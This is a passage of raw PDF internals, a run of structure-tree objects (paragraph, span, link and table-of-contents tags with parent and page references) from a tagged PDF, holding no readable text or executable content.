0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3703 0 obj +<< +/K [60 61] +/P 5952 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3704 0 obj +<< +/K [62 63] +/P 5952 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3705 0 obj +<< +/K [64 65] +/P 5952 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3706 0 obj +<< +/K [66 67] +/P 5953 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3707 0 obj +<< +/K [68 69] +/P 5953 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3708 0 obj +<< +/K [70 71] +/P 5953 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3709 0 obj +<< +/K [72 73] +/P 5954 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3710 0 obj +<< +/K [74 75] +/P 5955 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3711 0 obj +<< +/K [76 77] +/P 5956 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3712 0 obj +<< +/K [78 79] +/P 5956 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3713 0 obj +<< +/K [80 81] +/P 5956 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3714 0 obj +<< +/K [82 83] +/P 5957 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3715 0 obj +<< +/K [84 85] +/P 5958 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3716 0 obj +<< +/K [86 87] +/P 5958 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3717 0 obj +<< +/K [88 89] +/P 5958 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3718 0 obj +<< +/K [90 91] +/P 5959 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3719 0 obj +<< +/K [92 93] +/P 5960 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3720 0 obj +<< +/K [94 95] +/P 5961 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3721 0 obj +<< +/K [96 97] +/P 5961 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3722 0 obj +<< +/K [98 99] +/P 5961 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3723 0 obj +<< +/K [100 101] +/P 5962 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3724 0 obj +<< +/K [102 103] +/P 5963 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3725 0 obj +<< +/K [104 105] +/P 5963 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3726 0 obj +<< +/K [106 107] +/P 5963 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3727 0 obj +<< +/K [108 109] +/P 5964 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3728 0 obj +<< +/K [110 111] +/P 5965 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3729 0 obj +<< +/K [112 113] +/P 5966 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3730 0 obj +<< +/K [114 115] +/P 5966 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3731 0 obj +<< +/K [116 117] +/P 5967 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3732 0 obj +<< +/K [118 119] +/P 5968 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3733 0 obj +<< +/K [120 121] +/P 5969 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3734 0 obj +<< +/K [122 123] +/P 5969 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3735 0 obj +<< +/K [124 125] +/P 5969 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3736 0 obj +<< +/K [126 127] +/P 5970 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3737 0 obj +<< +/K [128 129] +/P 5971 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3738 0 obj +<< +/K [130 131] +/P 5972 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3739 0 obj +<< +/K [132 133] +/P 5972 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3740 0 obj +<< +/K [134 135] +/P 5973 0 R +/Pg 79 0 R +/S /P +/Type /StructElem +>> +endobj +3741 0 obj +<< +/K [0 1] +/P 5974 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3742 0 obj +<< +/K [2 3] +/P 5975 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3743 0 obj +<< +/K [4 5] +/P 5976 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3744 0 obj +<< +/K [6 7] +/P 5977 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3745 0 obj +<< +/K [8 9] +/P 5978 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3746 0 obj +<< +/K [10 11] +/P 5979 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3747 0 obj +<< +/K [12 13] +/P 5980 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3748 0 obj +<< +/K [14 15] +/P 5981 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3749 0 obj +<< +/K [16 17] +/P 5982 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3750 0 obj +<< +/K [18 19] +/P 5983 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3751 0 obj +<< +/K [20 21] +/P 5983 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3752 0 obj +<< +/K [22 23] +/P 5983 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3753 0 obj +<< +/K [24 25] +/P 5984 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3754 0 obj +<< +/K [26 27] +/P 5985 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3755 0 obj +<< +/K [28 29] +/P 5986 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3756 0 obj +<< +/K [30 31] +/P 5986 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3757 0 obj +<< +/K [32 33] +/P 5987 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3758 0 obj +<< +/K [34 35] +/P 5988 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3759 0 obj +<< +/K [36 37] +/P 5988 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3760 0 obj +<< +/K [38 39] +/P 5989 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3761 0 obj +<< +/K [40 41] +/P 5990 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3762 0 obj +<< +/K [42 43] +/P 5991 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3763 0 obj +<< +/K [44 45] +/P 5992 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3764 0 obj +<< +/K [46 47] +/P 5993 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3765 0 obj +<< +/K [48 49] +/P 5994 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3766 0 obj +<< +/K [50 51] +/P 5994 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3767 0 obj +<< +/K [52 53] +/P 5994 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3768 0 obj +<< +/K [54 55] +/P 5995 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3769 0 obj +<< +/K [56 57] +/P 5996 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3770 0 obj +<< +/K [58 59] +/P 5997 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3771 0 obj +<< +/K [60 61] +/P 5997 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3772 0 obj +<< +/K [62 63] +/P 5997 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3773 0 obj +<< +/K [64 65] +/P 5997 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3774 0 obj +<< +/K [66 67] +/P 5997 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3775 0 obj +<< +/K [68 69] +/P 5997 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3776 0 obj +<< +/K [70 71] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3777 0 obj +<< +/K [72 73] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3778 0 obj +<< +/K [74 75] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3779 0 obj +<< +/K [76 77] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3780 0 obj +<< +/K [78 79] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3781 0 obj +<< +/K [80 81] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3782 0 obj +<< +/K [82 83] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3783 0 obj +<< +/K [84 85] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3784 0 obj +<< +/K [86 87] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3785 0 obj +<< +/K [88 89] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3786 0 obj +<< +/K [90 91] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3787 0 obj +<< +/K [92 93] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3788 0 obj +<< +/K [94 95] +/P 5998 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3789 0 obj +<< +/K [96 97] +/P 5999 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3790 0 obj +<< +/K [98 99] +/P 6000 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3791 0 obj +<< +/K [100 101] +/P 6000 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3792 0 obj +<< +/K [102 103] +/P 6000 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3793 0 obj +<< +/K [104 105] +/P 6001 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3794 0 obj +<< +/K [106 107] +/P 6002 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3795 0 obj +<< +/K [108 109] +/P 6003 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3796 0 obj +<< +/K [110 111] +/P 6003 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3797 0 obj +<< +/K [112 113] +/P 6004 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3798 0 obj +<< +/K [114 115] +/P 6004 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3799 0 obj +<< +/K [116 117] +/P 6004 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3800 0 obj +<< +/K [118 119] +/P 6004 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3801 0 obj +<< +/K [120 121] +/P 6004 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3802 0 obj +<< +/K [122 123] +/P 6004 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3803 0 obj +<< +/K [124 125] +/P 6005 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3804 0 obj +<< +/K [126 127] +/P 6005 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3805 0 obj +<< +/K [128 129] +/P 6005 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3806 0 obj +<< +/K [130 131] +/P 6005 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3807 0 obj +<< +/K [132 133] +/P 6005 0 R +/Pg 80 0 R +/S /P +/Type /StructElem +>> +endobj +3808 0 obj +<< +/K [0 1] +/P 6006 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3809 0 obj +<< +/K [2 3] +/P 6007 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3810 0 obj +<< +/K [4 5] +/P 6008 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3811 0 obj +<< +/K [6 7] +/P 6009 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3812 0 obj +<< +/K [8 9] +/P 6010 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3813 0 obj +<< +/K [10 11] +/P 6011 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3814 0 obj +<< +/K [12 13] +/P 6012 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3815 0 obj +<< +/K [14 15] +/P 6013 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3816 0 obj +<< +/K [16 17] +/P 6014 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3817 0 obj +<< +/K [18 19] +/P 6015 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3818 0 obj +<< +/K [20 21] +/P 6015 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3819 0 obj +<< +/K [22 23] +/P 6015 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3820 0 obj +<< +/K [24 25] +/P 6016 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3821 0 obj +<< +/K [26 27] +/P 6017 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3822 0 obj +<< +/K [28 29] +/P 6018 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3823 0 obj +<< +/K [30 31] +/P 6018 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3824 0 obj +<< +/K [32 33] +/P 6019 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3825 0 obj +<< +/K [34 35] +/P 6020 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3826 0 obj +<< +/K [36 37] +/P 6021 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3827 0 obj +<< +/K [38 39] +/P 6021 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3828 0 obj +<< +/K [40 41] +/P 6021 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3829 0 obj +<< +/K [42 43] +/P 6021 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3830 0 obj +<< +/K [44 45] +/P 6022 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3831 0 obj +<< +/K [46 47] +/P 6023 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3832 0 obj +<< +/K [48 49] +/P 6024 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3833 0 obj +<< +/K [50 51] +/P 6024 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3834 0 obj +<< +/K [52 53] +/P 6025 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3835 0 obj +<< +/K [54 55] +/P 6025 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3836 0 obj +<< +/K [56 57] +/P 6025 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3837 0 obj +<< +/K [58 59] +/P 6025 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3838 0 obj +<< +/K [60 61] +/P 6025 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3839 0 obj +<< +/K [62 63] +/P 6025 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3840 0 obj +<< +/K [64 65] +/P 6026 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3841 0 obj +<< +/K [66 67] +/P 6027 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3842 0 obj +<< +/K [68 69] +/P 6027 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3843 0 obj +<< +/K [70 71] +/P 6027 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3844 0 obj +<< +/K [72 73] +/P 6027 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3845 0 obj +<< +/K [74 75] +/P 6028 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3846 0 obj +<< +/K [76 77] +/P 6029 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3847 0 obj +<< +/K [78 79] +/P 6030 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3848 0 obj +<< +/K [80 81 82] +/P 6030 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3849 0 obj +<< +/K [83 84] +/P 6031 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3850 0 obj +<< +/K [85 86] +/P 6032 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3851 0 obj +<< +/K [87 88] +/P 6033 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3852 0 obj +<< +/K [89 90] +/P 6033 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3853 0 obj +<< +/K [91 92] +/P 6033 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3854 0 obj +<< +/K [93 94] +/P 6033 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3855 0 obj +<< +/K [95 96] +/P 6034 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3856 0 obj +<< +/K [97 98] +/P 6035 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3857 0 obj +<< +/K [99 100] +/P 6036 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3858 0 obj +<< +/K [101 102 103] +/P 6036 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3859 0 obj +<< +/K [104 105] +/P 6037 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3860 0 obj +<< +/K [106 107] +/P 6038 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3861 0 obj +<< +/K [108 109] +/P 6039 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3862 0 obj +<< +/K [110 111] +/P 6039 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3863 0 obj +<< +/K [112 113] +/P 6040 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3864 0 obj +<< +/K [114 115] +/P 6041 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3865 0 obj +<< +/K [116 117] +/P 6042 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3866 0 obj +<< +/K [118 119] +/P 6042 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3867 0 obj +<< +/K [120 121] +/P 6043 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3868 0 obj +<< +/K [122 123] +/P 6044 0 R +/Pg 81 0 R +/S /P +/Type /StructElem +>> +endobj +3869 0 obj +<< +/K [0 1] +/P 6045 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3870 0 obj +<< +/K [2 3] +/P 6046 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3871 0 obj +<< +/K [4 5] +/P 6047 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3872 0 obj +<< +/K [6 7] +/P 6048 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3873 0 obj +<< +/K [8 9] +/P 6049 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3874 0 obj +<< +/K [10 11] +/P 6050 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3875 0 obj +<< +/K [12 13] +/P 6051 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3876 0 obj +<< +/K [14 15] +/P 6052 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3877 0 obj +<< +/K [16 17] +/P 6053 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3878 0 obj +<< +/K [18 19] +/P 6054 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3879 0 obj +<< +/K [20 21] +/P 6054 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3880 0 obj +<< +/K [22 23] +/P 6054 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3881 0 obj +<< +/K [24 25] +/P 6055 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3882 0 obj +<< +/K [26 27] +/P 6056 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3883 0 obj +<< +/K [28 29] +/P 6057 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3884 0 obj +<< +/K 30 +/P 6058 0 R +/Pg 82 0 R +/S /Span +/Type /StructElem +>> +endobj +3885 0 obj +<< +/K 31 +/P 6058 0 R +/Pg 82 0 R +/S /Span +/Type /StructElem +>> +endobj +3886 0 obj +<< +/K 32 +/P 3890 0 R +/Pg 82 0 R +/S /Span +/Type /StructElem +>> +endobj +3887 0 obj +<< +/K 33 +/P 6058 0 R +/Pg 82 0 R +/S /Span +/Type /StructElem +>> +endobj +3888 0 obj +<< +/K [34 35] +/P 6059 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3889 0 obj +<< +/K [36 37] +/P 6060 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +3890 0 obj +<< +/K [6061 0 R 3886 0 R] +/P 6058 0 R +/Pg 82 0 R +/S /Link +/Type /StructElem +>> +endobj +3891 0 obj +<< +/K 0 +/P 1151 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3892 0 obj +<< +/ActualText ( ) +/K [1] +/P 1151 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3893 0 obj +<< +/K 2 +/P 1151 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3894 0 obj +<< +/ActualText ( ) +/K [3] +/P 1151 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3895 0 obj +<< +/K 4 +/P 1151 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3896 0 obj +<< +/K [6] +/P 1153 0 R +/Pg 83 0 R +/S /TOCI +/Type /StructElem +>> +endobj +3897 0 obj +<< +/K 7 +/P 3957 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3898 0 obj +<< +/K 8 +/P 4361 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3899 0 obj +<< +/K [9] +/P 4361 0 R +/Pg 83 0 R +/S /Link +/Type /StructElem +>> +endobj +3900 0 obj +<< +/K 10 +/P 4361 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3901 0 obj +<< +/K 11 +/P 3958 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3902 0 obj +<< +/K 12 +/P 4362 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3903 0 obj +<< +/K 13 +/P 3959 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3904 0 obj +<< +/K 14 +/P 4363 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3905 0 obj +<< +/K 15 +/P 3960 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3906 0 obj +<< +/K 16 +/P 4364 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3907 0 obj +<< +/K 17 +/P 3961 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3908 0 obj +<< +/K 18 +/P 4365 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3909 0 obj +<< +/K 19 +/P 3962 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3910 0 obj +<< +/K 20 +/P 4366 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3911 0 obj +<< +/K 21 +/P 3963 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3912 0 obj +<< +/K 22 +/P 4367 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3913 0 obj +<< +/K 23 +/P 3964 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3914 0 obj +<< +/K 24 +/P 4368 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3915 0 obj +<< +/K 25 +/P 3965 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3916 0 obj +<< +/K 26 +/P 4369 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3917 0 obj +<< +/K 27 +/P 3966 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3918 0 obj +<< +/K 28 +/P 4370 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3919 0 obj +<< +/K 29 +/P 3967 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3920 0 obj +<< +/K 30 +/P 4371 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3921 0 obj +<< +/K 31 +/P 3968 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3922 0 obj +<< +/K 32 +/P 4372 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3923 0 obj +<< +/K 33 +/P 3969 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3924 0 obj +<< +/K 34 +/P 4373 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3925 0 obj +<< +/K 35 +/P 3970 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3926 0 obj +<< +/K 36 +/P 4374 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3927 0 obj +<< +/K 37 +/P 3971 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3928 0 obj +<< +/K 38 +/P 4375 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3929 0 obj +<< +/K 39 +/P 3972 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3930 0 obj +<< +/K 40 +/P 4376 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3931 0 obj +<< +/K 41 +/P 3973 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3932 0 obj +<< +/K 42 +/P 4377 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3933 0 obj +<< +/K 43 +/P 3974 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3934 0 obj +<< +/K 44 +/P 4378 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3935 0 obj +<< +/K 45 +/P 3975 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3936 0 obj +<< +/K 46 +/P 4379 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3937 0 obj +<< +/K 47 +/P 3976 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3938 0 obj +<< +/K 48 +/P 4380 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3939 0 obj +<< +/K 49 +/P 3977 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3940 0 obj +<< +/K 50 +/P 4381 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3941 0 obj +<< +/K 51 +/P 3978 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3942 0 obj +<< +/K 52 +/P 4382 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3943 0 obj +<< +/K 53 +/P 3979 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3944 0 obj +<< +/K 54 +/P 4383 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3945 0 obj +<< +/K 55 +/P 3980 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3946 0 obj +<< +/K 56 +/P 4384 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3947 0 obj +<< +/K 57 +/P 3981 0 R +/Pg 83 0 R +/S /Span +/Type /StructElem +>> +endobj +3948 0 obj +<< +/K 58 +/P 4385 0 R +/Pg 83 0 R +/S 